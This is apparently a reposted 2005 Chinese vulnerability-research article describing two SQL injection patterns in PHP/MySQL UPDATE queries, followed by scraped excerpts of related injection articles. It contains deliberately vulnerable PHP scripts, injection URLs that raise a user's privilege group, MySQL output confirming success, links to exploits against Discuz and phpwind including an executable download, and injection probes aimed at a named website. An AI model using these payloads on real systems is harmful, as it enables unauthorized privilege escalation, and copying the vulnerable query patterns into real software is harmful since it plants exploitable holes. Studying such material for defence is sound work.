UPDATE注射(mysql+php)的两个模式_漏洞研究

UPDATE注射(mysql+php)的两个模式 

                             文/安全天使·SuperHei 2005.8.11 

一.测试环境: 

OS: Windowsxp sp2 

php: php 4.3.10 ( 

mysql 4.1.9 

apache 1.3.33  

二.测试数据库结构: 

-----start--- 

-- 数据库: `test` 

--  

-- -------------------------------------------------------- 

--  

-- 表的结构 `userinfo` 

--  

CREATE TABLE `userinfo` ( 

  `groudid` varchar(12) NOT NULL default '1', 

  `user` varchar(12) NOT NULL default 'heige', 

  `pass` varchar(122) NOT NULL default '123456' 

) ENGINE=MyISAM DEFAULT CHARSET=latin1; 

--  

-- 导出表中的数据 `userinfo` 

--  

INSERT INTO `userinfo` VALUES ('2', 'heige', '123456'); 

------end------- 

三.测试模式: 

1,变量没有带''或""[MOD1] 

<?php 

//test1.php Mod1 

$servername = "localhost"; 

$dbusername = "root"; 

$dbpassword = ""; 

$dbname = "test"; 

mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 

$sql = "update userinfo set pass=$p where user='heige'";//<--$P没有使用单引号 

$result = mysql_db_query($dbname, $sql); 

$userinfo = mysql_fetch_array($result); 

echo "<p>SQL Query:$sql<p>"; 

?> 

脚本里只是修改user='heige'的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p 来达 

到修改groupid的目的: 

那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1 

在mysql里查询: 

mysql> select * from userinfo; 

+---------+-------+--------+ 

| groudid | user  | pass   | 

+---------+-------+--------+ 

| 1       | heige | 123456 | 

+---------+-------+--------+ 

1 row in set (0.01 sec) 

用户heige的groudid又2改为1了 :) 

所以我们可以得到没有''或"" update的注射是可以成功的,这个就是我们的模式1。 

2,变量带''或""[MOD2] 

<?php 

//test2.php 

$servername = "localhost"; 

$dbusername = "root"; 

$dbpassword = ""; 

$dbname = "test"; 

mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 

$sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号 

$result = mysql_db_query($dbname, $sql); 

$userinfo = mysql_fetch_array($result); 

echo "<p>SQL Query:$sql<p>"; 

?> 

为了关闭'我们构造$p应该为123456',groudid='2 提交: 

http://127.0.0.1/test2.php?p=123456',groudid='1 在gpc=on的情况下'变成了\' 

提交的语句变成:SQL Query:update userinfo set pass='123456\',groudid=\'1' where user='heige' 

mysql查询: 

mysql> select * from userinfo; 

+---------+-------+--------------------+ 

| groudid | user  | pass               | 

+---------+-------+--------------------+ 

| 2       | heige | 123456',groudid='1 | 

+---------+-------+--------------------+ 

1 row in set (0.00 sec) 

groudid并没有被修改。那么在变量被''或""时 就完全没有被注射呢?不是 下面我们看模式2: 

<?php 

//test3.php Mod2 

$servername = "localhost"; 

$dbusername = "root"; 

$dbpassword = ""; 

$dbname = "test"; 

mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 

$sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号 

$result = mysql_db_query($dbname, $sql); 

mysql_fetch_array($result);    //$p的数据写入数据库 

$sql= "select pass from userinfo where user='heige'";  

$result = mysql_db_query($dbname, $sql); 

$userinfo=mysql_fetch_array($result);  

echo $userinfo[0];  //把pass查询输出给$userinfo[0] 

$sql ="update userinfo set pass='$userinfo[0]' where user='heige'"; 

$result = mysql_db_query($dbname, $sql); 

mysql_fetch_array($result); //把$userinfo[0] 再次update 

?> 

我们测试下,提交:http://127.0.0.1/test3.php?p=123456',groudid='1 

回mysql查询下 : 

mysql> select * from userinfo; 

+---------+-------+--------+ 

| groudid | user  | pass   | 

+---------+-------+--------+ 

| 1       | heige | 123456 | 

+---------+-------+--------+ 

1 row in set (0.00 sec) 

HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下: 

update-->select-->update 

四.实际模式 

模式1:Discuz 2.0/2.2 register.php 注射  

       漏洞分析:http://4ngel.net/article/41.htm 

       Discuz 2.0/2.2 register.php Remote Exploit :http://4ngel.net/project/discuz_reg.htm 

模式2:phpwind 2.0.2和3.31e 权限提升漏洞  

       漏洞分析: 

           update (profile.php 注射变量为$proicon update语句里为,icon='$userdb[icon]') 

              v 

           select (jop.php) 

              v 

           updtate (jop.php) 

       Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe  

五.鸣谢 

   特别感谢saiy等朋友的讨论和帮助。Thanks!!!  

时间: 2024-12-01 18:14:42

UPDATE注射(mysql+php)的两个模式_漏洞研究的相关文章

关于mysql 3.0的注射的一点思路_漏洞研究

mysql 3.0的注射   对mysql的注射主要是靠union 的联合查询,但union只对版本4.0以上的有用,对3.0以下的就没用了..........   所以在mysql 3.0的数据库里没办法使用union进行跨表查询,但可以使用load_file   但是也不可以直接使用union替换出来. 下面就是我的一点思路:   得到版本:   mysql> select * from user where userid=1 and length(version())<10;   Emp

由mysql弱口令取得system权限的实战_漏洞研究

由mysql弱口令取得windows的system权限的实战   今年五月mix在幻影论坛公布了一篇关于mysql入侵的文章(<<Windows环境下通过MySQL以SYSTEM身份   执行系统命令>>,连接地址='http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006' target=_blank>http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006),反

手工注射php学习_漏洞研究

代码:  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);  $password = md5($password);  $q = "select id,group_id from $user_table where username='$username' and password='$password'";  $res = sql_query($q,$conn);  $row = sql_fetch_row($res); 

手工注射JSP学习_漏洞研究

1. 判断注入类型(数字型还是字符型)  字符型和数字型数据判断:(希望有人能进一步的细化,细分为数字型和字符型判断两部分)  http://www.test.net/index_kaoyan_view.jsp?id=117 And user>char(0)  http://www.test.net/index_kaoyan_view.jsp?id=117 And user<char(0)  http://www.test.net/index_kaoyan_view.jsp?id=117' A

手工注射asp学习_漏洞研究

ACCESS  查询数据库类型  http://www.zengke.com/product.asp?sort_id=24 and exists (select * from sysobjects) 查询表admin页面返回正常显示为有,错误为无. http://www.zengke.com//product.asp?sort_id=24 and exists (select * from admin) 查询admin表中的项admin /product.asp?sort_id=24 and e

MySQL Proxy(解决注入的另一思路)_漏洞研究

作者:云舒 What is MySQL Proxy? MySQL Proxy is a simple program that sits between your client and MySQL server(s) that can monitor, analyze or transform their communication. Its flexibility allows for unlimited uses; common ones include: load balancing; f

【Mysql 学习】SQL服务器模式

MySQL服务器可以以不同的SQL模式来操作,并且可以为不同客户端应用不同模式.这样每个应用程序可以根据自己的需求来定制服务器的操作模式. 模式定义MySQL应支持哪些SQL语法,以及应执行哪种数据验证检查.这样可以更容易地在不同的环境中使用MySQL,并结合其它数据库服务器使用MySQL. 1 可以用--sql-mode="modes"选项启动mysqld来设置默认SQL模式.如果你想要重设,该值还可以为空(--sql-mode =""). 2 可以在启动后用SE

c++连接mysql数据库的两种方法(ADO连接和mysql api连接)_C 语言

第一种方法可以实现我当前的需求,通过连接不同的字符串来连接不同的数据库.暂时只连接了mysql,sqlserver,oracle,access.对于access,因为它创建表的SQL语句不太兼容标准SQL语句,需要做一些处理,这里暂时不说.第二种方法只能针对于mysql数据库的连接,不过用这种方法不用安装MyODBC服务器程序. 不管用哪种方法,首先需要安装Mysql数据库,安装方法请看"mysql安装及一些注意点".最好安装一个Navicat for mysql,方便操作mysql数

信息-mysql中有关两张表关联的查询语句

问题描述 mysql中有关两张表关联的查询语句 宝宝信息表中存的是已经接种过疫苗的信息,is_vaccined为1,另外一张表中,存的是所有疫苗的详细信息.现在,我想通过获取宝宝id来查询该宝宝所有的疫苗的状态(包括已经接种的和未接种的),改怎么写查询语句?? 解决方案 select t1.*, t2.* from t_baby_info t1 left outer join t_vaccine t2 on t1.vaccine_id= t2.vaccine_id 解决方案二: @caozhy